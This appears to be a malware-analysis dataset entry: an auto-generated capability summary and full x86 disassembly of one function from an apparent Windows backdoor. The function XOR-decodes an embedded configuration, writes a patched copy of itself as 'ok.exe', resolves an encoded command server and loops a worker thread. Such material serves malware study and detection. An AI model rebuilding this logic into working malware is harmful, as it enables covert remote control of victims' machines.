Function at 0x404990
Capabilities:
Create thread
Encode data using xor
Initialize winsock library
Read file on windows
Resolve dns
Write file on windows

Disassembly:
sub esp, 0x2d0
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x50]
push 0x100
push eax
push 0
mov dword [esp + 0x20], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x50]
push 0x100
lea edx, [esp + 0x54]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
or ecx, 0xffffffff
xor eax, eax
mov ebx, dword [esp + 0x2ec]
mov edi, ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x404aef
push 0x40000
call dword [sym.imp.MSVCRT.dll_malloc]
mov ebp, eax
add esp, 4
test ebp, ebp
je 0x404aef
lea eax, [esp + 0x50]
push 0x408304
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x404ad8
push esi
push 0x40000
push 1
push ebp
call dword [sym.imp.MSVCRT.dll_fread]
push esi
mov dword [esp + 0x2c], eax
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x14
xor esi, esi
xor edi, edi
sub ebx, 0x4084d4
mov eax, edi
mov ecx, 0x15
cdq
add eax, 0xbcdef321
adc edx, 0xa
call fcn.00405d30
mov cl, byte [ebx + esi + 0x4084d4]
add edi, 0x12345679
xor al, cl
mov byte [esi + 0x4084d4], al
inc esi
cmp esi, 0x40
jb 0x404a3e
mov ecx, dword [esp + 0x18]
xor esi, esi
test ecx, ecx
jle 0x404ad8
mov eax, 0x40404040
cmp dword [esi + ebp], eax
jne 0x404a88
cmp dword [esi + ebp + 4], eax
je 0x404a8f
inc esi
cmp esi, ecx
jl 0x404a7d
jmp 0x404ad8
push 0x40870c
push str.ok.exe
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x404ad8
lea edi, [esi + ebp]
mov ecx, 0x10
mov esi, 0x4084d4
push ebx
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0x1c]
push ecx
push 1
push ebp
call dword [sym.imp.MSVCRT.dll_fwrite]
push ebx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x14
mov dword [esp + 0x14], 1
push ebp
call dword [sym.imp.MSVCRT.dll_free]
mov eax, dword [esp + 0x18]
add esp, 4
test eax, eax
je 0x404aef
call fcn.00403d30
push 4
push str.____
push 0x40871c
call dword [sym.imp.MSVCRT.dll_strncmp]
add esp, 0xc
test eax, eax
jne 0x404b19
mov ecx, 0x10
mov esi, 0x4084d4
mov edi, 0x40871c
rep movsd dword es:[edi], dword [esi]
push 0
call dword [sym.imp.MSVCRT.dll_time]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 8
push 0x104
push 0x42dd54
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
push 0x42dd54
push 0x42dd54
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 1
call fcn.004041a0
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 4
lea edx, [esp + 0x150]
push edx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x404b88
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0x493e0
call ebp
jmp 0x404b62
xor esi, esi
xor ebx, ebx
xor edi, edi
mov eax, edi
mov ecx, 0x15
cdq
add eax, 0xbcdef321
adc edx, 0xa
call fcn.00405d30
mov cl, byte [esi + 0x40871c]
add edi, 0x12345679
xor cl, al
mov byte [esi + 0x40871c], cl
inc esi
cmp esi, 0x40
jb 0x404b8e
push 0x40871c
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, ebx
je 0x404be2
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
cmp dword [ecx], 0x100007f
jne 0x404bf5
push 0x493e0
call ebp
jmp 0x404bbd
call dword [sym.imp.MSVCRT.dll_rand]
test al, 0xf
je 0x404bf5
push 0x493e0
call ebp
jmp 0x404bbd
mov ecx, 0x40d
xor eax, eax
mov edi, 0x408820
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x10]
mov dword [0x408848], ebx
call fcn.00402c50
lea ecx, [esp + 0x10]
call fcn.00402c90
mov dword [0x42f090], ebx
mov dword [0x42f08c], ebx
call fcn.00403f90
lea ecx, [esp + 0x1c]
call fcn.00401000
push ebx
lea edx, [esp + 0x20]
push ebx
push edx
push 0x405a10
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
cmp esi, ebx
je 0x404c68
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x1c]
call fcn.00402b60
xor esi, esi
call dword [sym.imp.WS2_32.dll_WSACleanup]
cmp eax, 0xffffffff
je 0x404c94
mov eax, dword [0x42f08c]
cmp eax, ebx
je 0x404c94
push 0x3e8
call ebp
inc esi
cmp esi, 0x1e
jg 0x404c94
mov eax, dword [0x42f08c]
cmp eax, ebx
jne 0x404c7e
push 0x1b7740
call ebp
lea ecx, [esp + 0x1c]
call fcn.00401080
lea ecx, [esp + 0x10]
call fcn.00402c80
jmp 0x404b62